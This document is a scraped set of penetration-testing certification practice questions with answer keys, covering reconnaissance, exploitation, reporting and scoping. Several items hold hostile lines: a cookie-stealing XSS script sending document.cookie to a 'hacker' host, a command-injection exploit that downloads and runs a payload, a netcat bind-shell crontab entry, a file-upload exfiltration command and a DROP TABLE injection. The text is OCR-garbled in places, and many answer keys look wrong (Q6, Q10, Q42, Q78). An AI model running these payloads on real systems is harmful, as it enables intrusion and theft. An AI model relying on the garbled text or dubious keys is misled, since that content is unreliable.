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NEW QUESTION 1
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

A. NDA
B. MSA
C. SOW
D. MOU

Answer: C

NEW QUESTION 2
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider’s metadata and get the
credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

A. Cross-site request forgery
B. Server-side request forgery
C. Remote file inclusion

D. Local file inclusion

Answer: B

NEW QUESTION 3

A penetration tester conducted an assessment on a web server. The logs from this session show the following:
http://www.thecompanydomain.com/servicestatus.php?servicelD=892&servicelD=892 * ; DROP TABLE SERVICES,; -
Which of the following attacks is being attempted?

A. Clickjacking

B. Session hijacking
C. Parameter pollution
D. Cookie hijacking

E. Cross-site scripting

Answer: C

NEW QUESTION 4
A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call
create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

A. Alternate data streams
B. PowerShell modules
C. MP4 steganography
D. PsExec

Answer: D

NEW QUESTION 5
A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would
BEST support this task?

A. Run nmap with the —o, -p22, and —sC options set against the target
B. Run nmap with the —sV and —p22 options set against the target

C. Run nmap with the --script vulners option set against the target

D. Run nmap with the —sA option set against the target

Answer: B

NEW QUESTION 6
A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the
following utilities would BEST support this objective?

A. Socat

B. tcpdump
C. Scapy
D. dig

Answer: A

NEW QUESTION 7
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit
misconfigured service permissions. Which of the following commands would help the tester START this process?

A. certutil-urlcache —split —f http://192.168.2.124/windows-binaries/ accesschk64.exe

B. powershell(New-Object System.Net.WebClient).UploadFile(‘http://192.168.2.124/ upload.php’, ‘systeminfo.txt’)
C. schtasks /query /fo LIST /v | find /1 “Next Run Time:”

D. wgethttp://192.168.2.124/windows-binaries/accesschk64.exe —O accesschk64.exe
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Answer: B

NEW QUESTION 8
A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

n.: - | o S i-'-'-"' 7T 1-.' -'I-'-I
11FD nNLLp:/ /174 L0 100, 103 .31 ]

-

-
-
-
L
W
bt

However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a blank page was displayed.
Which of the following is the MOST likely reason for the lack of output?

A. The HTTP port is not open on the firewall.

B. The tester did not run sudo before the command.
C. The web server is using HTTPS instead of HTTP.
D. This URI returned a server error.

Answer: A

NEW QUESTION 9
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the
website for vulnerabilities?

A. Comma

B. Double dash
C. Single quote
D. Semicolon

Answer: C

NEW QUESTION 10
A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

A. Halt the penetration test.

B. Contact law enforcement.

C. Deconflict with the penetration tester.

D. Assume the alert is from the penetration test.

Answer: B

NEW QUESTION 10
A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will
perform the scan?

A. nmap —vv sUV —p 53, 123-159 10.10.1.20/24 —0A udpscan

B. nmap —vv sUV —p 53,123,161-162 10.10.1.20/24 —0A udpscan

C. nmap —vv sUV —p 53,137-139,161-162 10.10.1.20/24 —0A udpscan
D. nmap —vv sUV —p 53, 122-123, 160-161 10.10.1.20/24 —0A udpscan

Answer: B

NEW QUESTION 14

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company’s network. Which of the following
accounts should the tester use to return the MOST results?

A. Root user

B. Local administrator
C. Service
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D. Network administrator

Answer: C

NEW QUESTION 18

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST Nmap scan report for ( 10.2.1.22)
Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:gemu:gemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)

A. Network device

B. Public-facing web server

C. Active Directory domain controller
D. loT/embedded device

E. Exposed RDP

F. Print queue

Answer: AB

NEW QUESTION 21

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server
| rdp-ntim-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-11S/8.5

|_http-title: IS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

A. ftp 192.168.53.23

B. smbclient WWEB3WPC$ -1 192.168.53.23 —U guest

C. ncrack —u Administrator —P 15worst_passwords.txt —p rdp 192.168.53.23
D. curl =X TRACE https://192.168.53.23:8443/index.aspx

E. nmap —script vuln —sV 192.168.53.23

Answer: A

NEW QUESTION 26
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for
a denial-of-service attack on the network segment?

A. Smurf

B. Ping flood

C. Fraggle

D. Ping of death

Answer: A

NEW QUESTION 30

A penetration tester ran a ping —A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST
likely return a packet of this type?

A. Windows

B. Apple

C. Linux

D. Android

Answer: A
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NEW QUESTION 32

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory
systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be
valid?

A. PLCs will not act upon commands injected over the network.

B. Supervisors and controllers are on a separate virtual network by default.
C. Controllers will not validate the origin of commands.

D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

NEW QUESTION 35
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the
engagement?

A. Acceptance by the client and sign-off on the final report
B. Scheduling of follow-up actions and retesting

C. Attestation of findings and delivery of the report

D. Review of the lessons learned during the engagement

Answer: A

NEW QUESTION 40
A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of
access of the existing user?

A. ilam_enum_permissions

B. iam_privesc_scan

C. iam_backdoor_assume_role
D. iam_bruteforce_permissions

Answer: A

NEW QUESTION 42
Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for I0T devices to support passive reconnaissance?

A. Shodan

B. Nmap

C. WebScarab-NG
D. Nessus

Answer: B

NEW QUESTION 45
A penetration tester writes the following script:

¥!/bin/bash

for ®» in ‘zeq 1 2547; do
ping —c 1 10.10.1.85x;

done

Which of the following objectives is the tester attempting to achieve?

A. Determine active hosts on the network.

B. Set the TTL of ping packets for stealth.

C. Fill the ARP table of the networked devices.
D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 46

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and
additional information about those systems.

Which of the following is the penetration tester trying to accomplish?

A. Uncover potential criminal activity based on the evidence gathered.
B. Identity all the vulnerabilities in the environment.

C. Limit invasiveness based on scope.

D. Maintain confidentiality of the findings.

Answer: C
NEW QUESTION 48
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

« The following request was intercepted going to the network device: GET /login HTTP/1.1
Host: 10.50.100.16
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5
Connection: keep-alive

Authorization: Basic WU9VUIIOQU1FONNIY3JIdHBhc3N3b3jk

» Network management interfaces are available on the production network.

» An Nmap scan returned the following:

Port State Service ersion

22/tcp open a=h Cisco 88H 1.25 (protocol 2.0

80/tcp open http Cisco IOS http config

|_https—-title: Did not follow redirect to https://10.50.100.16
443/tcp open https Cisco IOS https config

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

A. Enforce enhanced password complexity requirements.
B. Disable or upgrade SSH daemon.

C. Disable HTTP/301 redirect configuration.

D. Create an out-of-band network for management.

E. Implement a better method for authentication.

F. Eliminate network management and control interfaces.

Answer: CE

NEW QUESTION 52

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following

should the tester do NEXT?

A. Reach out to the primary point of contact

B. Try to take down the attackers

C. Call law enforcement officials immediately

D. Collect the proper evidence and add to the final report

Answer: A

NEW QUESTION 55

Appending string values onto another string is called:
A. compilation

B. connection

C. concatenation

D. conjunction

Answer: C

NEW QUESTION 60

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following

was captured by the testing team?
A. Multiple handshakes

B. IP addresses

C. Encrypted file transfers

D. User hashes sent over SMB

Answer: D

NEW QUESTION 65

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain

access to the server?

A. Perform vertical privilege escalation.

B. Replay the captured traffic to the server to recreate the session.
C. Use John the Ripper to crack the password.

D. Utilize a pass-the-hash attack.

Answer: D

NEW QUESTION 70

Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

A. NIST SP 800-53

B. OWASP Top 10

C. MITRE ATT&CK framework
D. PTES technical guidelines

Answer: C

NEW QUESTION 73
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A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PIl and

salary data. The penetration testers have been given an internal network starting position.
Which of the following actions, if performed, would be ethical within the scope of the assessment?

A. Exploiting a configuration weakness in the SQL database

B. Intercepting outbound TLS traffic

C. Gaining access to hosts by injecting malware into the enterprise-wide update server
D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates

E. Establishing and maintaining persistence on the domain controller

Answer: B

NEW QUESTION 78

Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

A. Web-application firewall
B. Parameterized queries
C. Output encoding

D. Session tokens

E. Input validation

F. Base64 encoding

Answer: BE

NEW QUESTION 80

During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would

like to port scan.
INSTRUCTIONS

Analyze the code segments to determine which sections are needed to complete a port scanning script. Drag the appropriate elements into the correct locations to

complete the script.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
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A. Mastered
B. Not Mastered

Answer: A

Explanation:
A picture containing shape Description automatically generated
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) Immutables

l!fﬂﬁrfhiﬁfpvthgn

A picture containing treemap chart Description automatically generated

Text Description automatically generated
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alsa:

Graphical user interface Description automatically generated

NEW QUESTION 85
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company’s servers. Which of the
following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

A. Test for RFC-defined protocol conformance.

B. Attempt to brute force authentication to the service.

C. Perform a reverse DNS query and match to the service banner.
D. Check for an open relay configuration.

Answer: C

NEW QUESTION 88
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning
the penetration testing activities?

A. Clarify the statement of work.

B. Obtain an asset inventory from the client.
C. Interview all stakeholders.

D. Identify all third parties involved.

Answer: A

NEW QUESTION 93
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the
company'’s privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?
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A. OpenVAS
B. Nikto

C. SQLmap
D. Nessus

Answer: C

NEW QUESTION 95
Which of the following are the MOST important items to include in the final report for a penetration test?
(Choose two.)

A. The CVSS score of the finding

B. The network location of the vulnerable device
C. The vulnerability identifier

D. The client acceptance form

E. The name of the person who found the flaw
F. The tool used to find the issue

Answer: CF

NEW QUESTION 98

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees’ phone numbers on the
company’s website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees’ numbers?

A. Web archive

B. GitHub

C. File metadata

D. Underground forums

Answer: A

NEW QUESTION 102
A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

> Pre-engagement interaction (scoping and ROE)
> Intelligence gathering (reconnaissance)

> Threat modeling

> Vulnerability analysis

> Exploitation and post exploitation

> Reporting
Which of the following methodologies does the client use?

A. OWASP Web Security Testing Guide
B. PTES technical guidelines

C. NIST SP 800-115

D. OSSTMM

Answer: B

NEW QUESTION 103
A penetration tester wants to scan a target network without being detected by the client’'s IDS. Which of the following scans is MOST likely to avoid detection?

A. nmap —p0 —TO —sS 192.168.1.10

B. nmap —sA —sV --host-timeout 60 192.168.1.10
C. nmap —f --badsum 192.168.1.10

D. nmap —A —n 192.168.1.10

Answer: B

NEW QUESTION 107

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = “POST "

exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} —

CH{IFSY cd${IFS}/tmp;${IFS}wget${IFS}thttp://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IF

&loginUser=a&Pwd=a"

exploit += “HTTP/1.1"

Which of the following commands should the penetration tester run post-engagement?

A. grep —v apache ~/.bash_history > ~/.bash_history
B. rm —rf /tmp/apache

C. chmod 600 /tmp/apache

D. taskkill /IM “apache” /F

Answer: B
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NEW QUESTION 112

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the

following algorithms was MOST likely used to store the passwords in the database?
A. MD5

B. berypt

C. SHA-1

D. PBKDF2

Answer: A

NEW QUESTION 113

A penetration tester is explaining the MITRE ATT&CK framework to a company’s chief legal counsel. Which of the following would the tester MOST likely describe

as a benefit of the framework?

A. Understanding the tactics of a security intrusion can help disrupt them.

B. Scripts that are part of the framework can be imported directly into SIEM tools.
C. The methodology can be used to estimate the cost of an incident better.

D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 116

A consultant is reviewing the following output after reports of intermittent connectivity issues:

?(192.168.1.1) at Oa:d1:fa:b1:01:67 on en0 ifscope [ethernet]
?(192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
?(192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
?(192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
?(192.168.1.136) at Oa:d1:fa:b1:01:67 on en0 ifscope [ethernet]
?(192.168.1.255) at ff:ff:ff:ff:ff:ff on enO ifscope [ethernet]

? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]

? (239.255.255.250) at ff:ff:Af.ff.ff.ff on enO ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?

A. A device on the network has an IP address in the wrong subnet.

B. A multicast session was initiated using the wrong multicast group.

C. An ARP flooding attack is using the broadcast address to perform DDoS.
D. A device on the network has poisoned the ARP cache.

Answer: B

NEW QUESTION 120

A compliance-based penetration test is primarily concerned with:
A. obtaining PIl from the protected network.

B. bypassing protection on edge devices.

C. determining the efficacy of a specific set of security standards.

D. obtaining specific information from the protected network.

Answer: C

NEW QUESTION 123

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

A. Cost ofthe assessment
B. Report distribution

C. Testing restrictions

D. Liability

Answer: B

NEW QUESTION 127

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP

protocol. Which of the following methods would be the BEST to accomplish this objective?

A. Wait for the next login and perform a downgrade attack on the server.
B. Capture traffic using Wireshark.

C. Perform a brute-force attack over the server.

D. Use an FTP exploit against the server.

Answer: B

NEW QUESTION 128

A penetration tester runs the following command on a system:
find / -user root —perm -4000 —print 2>/dev/null

Which of the following is the tester trying to accomplish?

A. Set the SGID on all files in the / directory
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B. Find the /root directory on the system
C. Find files with the SUID bit set
D. Find files that were created during exploitation and move them to /dev/null

Answer: C

NEW QUESTION 131
A penetration tester conducts an Nmap scan against a target and receives the following results:

Port State Service
1080/tcp open socks

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

A. Nessus
B. ProxyChains
C. OWASPZAP
D. Empire

Answer: B

NEW QUESTION 135
The results of an Nmap scan are as follows:
Starting Mmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST

5

Mmap scan report for ( 192.168.1.1 )

Host i1z up ([0.0035s latency)

Not shown: 396 filtered ports

Fort State Service Version

22/tep cpen aszh CpenS8HE 6.6.1pl
33/tep open domain dnsmasg 2.72
§0/tcp open http lighttpd
443/tep open asl/http httpd

SBervice Info: 03: Linux: Davice: router; CPE: cpe:/o:linux:linux kernsl

o

{1 host up) scanned in 18.435 seconds

Which of the following would be the BEST conclusion about this device?

ormed. Please report any incorrect results at https://nmap.org/submit/.
&

A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain

sensitive information from process memory.
B. This device is most likely a gateway with in-band management services.
C. This device is most likely a proxy server forwarding requests over TCP/443.

D. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior

to DNSSEC validation.

Answer: A

NEW QUESTION 138
Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

A. Buffer overflows

B. Cross-site scripting

C. Race-condition attacks
D. Zero-day attacks

E. Injection flaws

F. Ransomware attacks

Answer: BE

Explanation:

AO01-Injection

AO02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS

A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 141
A penetration tester wrote the following script to be used in one engagement:
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! /usr/bin/python
port socket,sys

==

ports = [21,22,23,25,80
1f len(sys.argv) == 2:
target = 30cC ket
elas:
print (“Too few
print (™ S:; ax:
sys.exit
:ry:
for port in por
s = soc
s.setti
results
if resu

except ReyboardInterrup

o I

sys.exit()

¥o
rint ("Exiting...

,139,443,445,3306, 32385]
.gethostbyname (sys.argv[1l])

arguments.”}
python {} <>".format(sys.argv[0]))

ts:
ket.sgche:{sccket.ﬁF_IEET, socket.SOCE STREAM)
meout (2)
= 5.ccnnect_ex{{:arget,p:rt}}
1e == 0:

print (“Port {} is cpened”.format (port))

o
Lr =

")

Which of the following actions will this script perform?

A. Look for open ports.

B. Listen for a reverse shell.
C. Attempt to flood open ports.
D. Create an encrypted tunnel.

Answer: A

NEW QUESTION 144

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

A. devices produce more heat and con
B. devices are obsolete and are no lon

sume more power.
ger available for replacement.

C. protocols are more difficult to understand.
D. devices may cause physical world effects.

Answer: D

Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service
detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they
can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully.” And since SCADA and ICS devices are designed
and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the
presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 147

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character
combinations should be used on the first line of the script to accomplish this goal?

Answer: E

NEW QUESTION 151

The following line-numbered Python code snippet is being used in reconnaissance:

# % 8

Which of the following line numbers from the script MOST likely contributed to the script triggering a “probable port scan” alert in the organization’s IDS?
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A. Line 01
B. Line 02
C. Line 07
D. Line 08

Answer: A

NEW QUESTION 156
Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

A. To provide feedback on the report structure and recommend improvements

B. To discuss the findings and dispute any false positives

C. To determine any processes that failed to meet expectations during the assessment

D. To ensure the penetration-testing team destroys all company data that was gathered during the test

Answer: C

NEW QUESTION 158
A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

A. John the Ripper
B. Hydra

C. Mimikatz

D. Cain and Abel

Answer: A

NEW QUESTION 163
A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.
Which of the following is the BEST way to ensure this is a true positive?

A. Run another scanner to compare.

B. Perform a manual test on the server.
C. Check the results on the scanner.

D. Look for the vulnerability online.

Answer: B

NEW QUESTION 164

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting
money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this
type of activity in the future?

A. Enforce mandatory employee vacations

B. Implement multifactor authentication

C. Install video surveillance equipment in the office
D. Encrypt passwords for bank account information

Answer: B

NEW QUESTION 168

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the
following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client’s cybersecurity tools?
(Choose two.)

A. Scraping social media sites

B. Using the WHOIS lookup tool

C. Crawling the client’'s website

D. Phishing company employees

E. Utilizing DNS lookup tools

F. Conducting wardriving near the client facility

Answer: BC

NEW QUESTION 169
An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any
vulnerabilities with associated exploits exist on the open ports?

A. OpenVAS

B. Drozer

C. Burp Suite

D. OWASP ZAP

Answer: A

NEW QUESTION 174
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A penetration tester was able to gain access successfully to a Windows workstation on a mobile client’s laptop. Which of the following can be used to ensure the
tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe

B. wmic startup get caption,command

C. crontab —I; echo “@reboot sleep 200 && ncat —lvp 4242 —e /bin/bash”) | crontab 2>/dev/null
D. sudo useradd —ou 0 —g O user

Answer: B

NEW QUESTION 175
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies
the following:
if{i==et (5 POST[ item’ 1)) {
exec ("/http/www/cgi-bin/queryitem “.$ POST[‘item’]);

Which of the following tools will help the tester prepare an attack for this scenario?

A. Hydra and crunch

B. Netcat and cURL

C. Burp Suite and DIRB

D. Nmap and OWASP ZAP

Answer: C

NEW QUESTION 177
A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

A. SQLmap
B. Nessus
C. Nikto

D. DirBuster

Answer: B

NEW QUESTION 179
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems
administrator and technical staff?

A. A quick description of the vulnerability and a high-level control to fix it
B. Information regarding the business impact if compromised

C. The executive summary and information regarding the testing company
D. The rules of engagement from the assessment

Answer: B

NEW QUESTION 181
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

A. Whether sensitive client data is publicly accessible

B. Whether the connection between the cloud and the client is secure

C. Whether the client's employees are trained properly to use the platform
D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 184

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past
several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is
very good. Which of the following recommendations should the penetration tester include in the report?

A. Add a dependency checker into the tool chain.

B. Perform routine static and dynamic analysis of committed code.
C. Validate API security settings before deployment.

D. Perform fuzz testing of compiled binaries.

Answer: D

NEW QUESTION 186
A penetration tester performs the following command: curl —I —http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?
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A urrE/2 200

x-frame-cptions: SAMECRIGIN

x-xss-protection: 1; mode=block

®-content-type-options: nosniff

referrer-policy: atrict-origin

strict-transport-security: max-age=31536000; includeSubdomains; preload

B <ipccryPE html>
<html lang="en”>
<head>
<meta http-equiv="X-UA-Compatible” content="IE=edge,chrome=1" />
</head>

<body lang="en">

</body>
</html>
C. ¥ matalk B ived § xferd ~Verage Speed Time Time Time Current
c: e €2 Dload Upleoad Total Spent Left Speed
100 1638k 100 1698k 0 0 1566k O 0:00:01 0:00:01 __ _ 1565k

D (#3333 fas s s i iasaarisrissis 343333399373 754374309037888387%] 10o0%

A. Option A
B. Option B
C. Option C
D. Option D

Answer: A

NEW QUESTION 190
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